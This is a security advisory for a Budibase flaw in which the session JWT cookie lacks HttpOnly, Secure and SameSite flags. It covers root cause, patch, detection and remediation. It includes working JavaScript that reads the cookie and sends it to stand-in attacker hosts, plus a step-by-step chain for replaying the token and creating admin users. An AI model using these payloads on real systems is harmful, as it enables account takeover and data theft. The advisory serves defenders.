CVE-2026-42239: Budibase JWT Cookie Exposed via httpOnly: false
Budibase sets its auth JWT cookie without httpOnly, secure, or sameSite flags, turning any XSS into full persistent account takeover via document.cookie exfiltration.
Budibase is a popular tool that helps people build business applications without writing code. Security researchers found a serious flaw in how it protects login sessions, and it affects everyone using the platform.
Here's the problem in simple terms: When you log into Budibase, the system gives your browser a special token—think of it like a session pass that proves you're authenticated. This pass should be locked away where only the website itself can access it, not visible to any other code running in your browser. But Budibase left the door open.
An attacker who finds any small security weakness in a Budibase instance—these are called XSS vulnerabilities, essentially letting them inject malicious code into the page—can now steal that session token directly. It's like leaving your house key not just under the mat, but taped to your front door with a sign saying "come in." Once they have your token, they own your account completely.
The flaw gets worse because the cookie also lacks other protections. It can be transmitted over unencrypted connections, and it's vulnerable to a technique called cross-site request forgery, where attackers trick your browser into performing actions without your knowledge.
Who's most at risk? Companies or individuals using Budibase for business-critical applications—especially those storing sensitive customer data, financial information, or internal tools.
What you should do:
First, update to version 3.35.10 or newer immediately—the developers have already fixed this.
Second, change your Budibase password as a precaution if you've used the platform with older versions.
Third, review any suspicious account activity in your applications, especially unusual logins or data exports.
Want the full technical analysis? Click "Technical" above.
CVE-2026-42239 is a session token exposure vulnerability in Budibase, an open-source low-code platform. The budibase:auth cookie — which carries the user's JWT session token — is configured with httpOnly: false, making it directly readable from JavaScript via document.cookie. Combined with the absence of secure: true and any sameSite directive, this single misconfiguration in packages/backend-core/src/utils/utils.ts means every XSS gadget in the application, regardless of severity, trivially escalates to full account takeover with persistent access. CVSS 8.1 (HIGH).
Root cause: The budibase:auth session JWT cookie is set with httpOnly: false at utils.ts:218, allowing client-side JavaScript to read the token directly via document.cookie, which converts any XSS into a full credential theft primitive.
Affected Component
The vulnerable code lives in a single call site responsible for issuing all session cookies across the Budibase backend:
File:packages/backend-core/src/utils/utils.ts, line 218
Function:setCookie() (internal session utility)
Cookie name:budibase:auth
Affected versions: All Budibase releases prior to 3.35.10
Platform: Cross-platform (Node.js/Koa backend)
Root Cause Analysis
The session cookie is constructed and attached to the Koa response context inside setCookie(). Prior to 3.35.10, the options object passed to ctx.cookies.set() explicitly sets httpOnly: false and omits both secure and sameSite:
// packages/backend-core/src/utils/utils.ts (pre-3.35.10)
// Pseudocode representation of the TypeScript logic at line ~218
function setCookie(ctx, value, name = "budibase:auth", opts = {}) {
const cookieContents = value
? jwt.sign(value, SECRET, { expiresIn: "1d" })
: "";
// BUG: httpOnly is explicitly false — JS can read this cookie
// BUG: secure is not set — cookie transmits over plaintext HTTP
// BUG: sameSite is not set — no CSRF mitigation at cookie layer
ctx.cookies.set(name, cookieContents, {
expires: new Date(Date.now() + SESSION_TTL),
path: "/",
httpOnly: false, // <-- vulnerability: should be true
// secure: true // <-- missing
// sameSite: "strict" // <-- missing
...opts,
});
}
The JWT signed here contains the full user identity payload. Because httpOnly: false is set explicitly (not merely omitted — it is an affirmative misconfiguration), any script executing in the page origin can extract it:
// Attacker payload — executable in any Budibase XSS context
const jwt = document.cookie
.split("; ")
.find(c => c.startsWith("budibase:auth="))
?.split("=")[1];
// Exfiltrate to attacker-controlled collector
fetch("https://attacker.example/collect?t=" + encodeURIComponent(jwt));
The JWT payload, once decoded, contains the full session identity. No server-side session binding (IP, fingerprint) is enforced, so the stolen token grants indefinite access until expiry or explicit revocation:
The attack surface is any XSS reachable in the Budibase origin. The platform's low-code nature creates ample injection points: component labels, automation descriptions, app names, and custom JavaScript bindings are all rendered in the same origin as the auth cookie. An attacker with app-editor access (or a stored XSS in a shared app) has everything they need.
EXPLOIT CHAIN — CVE-2026-42239:
1. OBTAIN XSS EXECUTION
Attacker plants payload in any Budibase-rendered field
(e.g., app name, component binding, automation webhook label)
that reflects unsanitized content to a victim's browser.
2. VICTIM LOADS BUDIBASE PAGE
Browser has budibase:auth cookie set from prior login.
Cookie is readable by JS because httpOnly: false.
3. PAYLOAD READS document.cookie
const tok = document.cookie.match(/budibase:auth=([^;]+)/)[1];
Token is a signed JWT — no additional auth material needed.
4. EXFILTRATE TOKEN
fetch("https://attacker.tld/c?t=" + encodeURIComponent(tok), {
mode: "no-cors" // bypasses CORS — attacker logs POST body
});
OR: new Image().src = "https://attacker.tld/c?t=" + tok;
5. ATTACKER REPLAYS JWT
curl -H "Cookie: budibase:auth=" \
https://target.budibase.app/api/self
→ 200 OK with full user profile, admin flag, tenant context.
6. PERSISTENT ACCESS
JWT valid for 24h from issuance. Attacker can:
- Enumerate all apps: GET /api/applications
- Read all table data: GET /api//tables
- Create admin users: POST /api/global/users
- Download database rows: GET /api//rows/
Rotating the session requires victim to explicitly log out.
If attacker creates a new admin, access survives victim logout.
Memory Layout
This is a logic/configuration vulnerability rather than a memory corruption bug, so the relevant "layout" is the HTTP response header and cookie attribute surface. Observing a pre-patch response confirms the missing flags:
HTTP/1.1 200 OK (pre-patch, Budibase < 3.35.10)
Set-Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.[...];
Path=/;
Expires=Thu, 12 Jun 2025 00:00:00 GMT
← NO HttpOnly flag
← NO Secure flag
← NO SameSite attribute
HTTP/1.1 200 OK (post-patch, Budibase >= 3.35.10)
Set-Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.[...];
Path=/;
Expires=Thu, 12 Jun 2025 00:00:00 GMT;
HttpOnly;
Secure;
SameSite=Strict
JAVASCRIPT COOKIE VISIBILITY — BEFORE vs AFTER:
BEFORE (httpOnly: false):
Browser JS context:
> document.cookie
"budibase:auth=eyJhbGc...[FULL JWT]...; other=value"
^^^^^^^^^^^^^^^^^^^^^^^^^
FULLY READABLE — token extractable in one regex
AFTER (httpOnly: true):
Browser JS context:
> document.cookie
"other=value"
budibase:auth is ABSENT from JS-accessible cookie string.
Token exists in browser but kernel/browser isolates it —
only sent in HTTP request headers, never exposed to scripts.
Patch Analysis
The fix in version 3.35.10 modifies packages/backend-core/src/utils/utils.ts to harden all three missing cookie attributes simultaneously:
Note the ...opts spread at the end. Any caller passing httpOnly: false in opts can still override the new defaults. Auditors should verify no internal call site passes a conflicting override.
Detection and Indicators
Detecting exploitation attempts requires visibility into both the HTTP layer and outbound network from victim browsers.
Server-side detection — same JWT replayed from a new IP/UA:
# Pseudo-detection logic for SIEM / WAF rule
def detect_jwt_replay(request_log):
for jwt_token, sessions in group_by_token(request_log):
ips = {s.remote_ip for s in sessions}
uas = {s.user_agent for s in sessions}
if len(ips) > 1 or len(uas) > 1:
# Same JWT used from multiple IPs or user agents
alert(f"Possible stolen JWT replay: token={jwt_token[:20]}... "
f"IPs={ips}, UAs={uas}")
Network-level IOCs to hunt:
INDICATORS OF COMPROMISE:
1. Outbound requests from Budibase origin containing JWT in URL params:
Pattern: GET /collect?t=eyJhbGci... (token in query string)
Look for: fetch/XHR/img-src to external domains carrying base64url data
2. HTTP (not HTTPS) transmission of budibase:auth cookie:
Pre-patch: cookie sent in cleartext — MITM interception possible
Detection: inspect proxy logs for Set-Cookie without Secure flag
3. API calls with valid JWT but anomalous metadata:
- /api/global/users POST from non-admin IP range
- /api/applications GET immediately after auth (recon pattern)
- High-frequency /api//rows reads (data exfil)
4. Source code indicator — grep for the misconfiguration:
$ grep -n "httpOnly" packages/backend-core/src/utils/utils.ts
218: httpOnly: false, <-- vulnerable if present
Remediation
Immediate: Upgrade to Budibase 3.35.10 or later. The patch is a one-line change with high confidence — no API surface changes, no migration required.
If upgrade is not immediately possible:
Place Budibase behind a reverse proxy (nginx/Caddy) that rewrites Set-Cookie headers to inject HttpOnly; Secure; SameSite=Strict before cookies reach the client.
Enforce HTTPS-only at the load balancer and set HSTS to prevent downgrade attacks that would expose the unprotected cookie in plaintext.
Audit all Budibase app components for stored XSS: component names, automation descriptions, and any field that accepts free-text and renders it in the same browser origin.
Rotate all active Budibase sessions immediately if exposure is suspected — the JWT secret can be rotated via environment variable to invalidate all existing tokens.
Defense in depth: Even with the patch applied, consider implementing server-side session binding (store session metadata — IP, UA hash — on issue and validate on each request) to limit the utility of any token stolen through channels not covered by this fix (e.g., server-side log exposure, memory disclosure).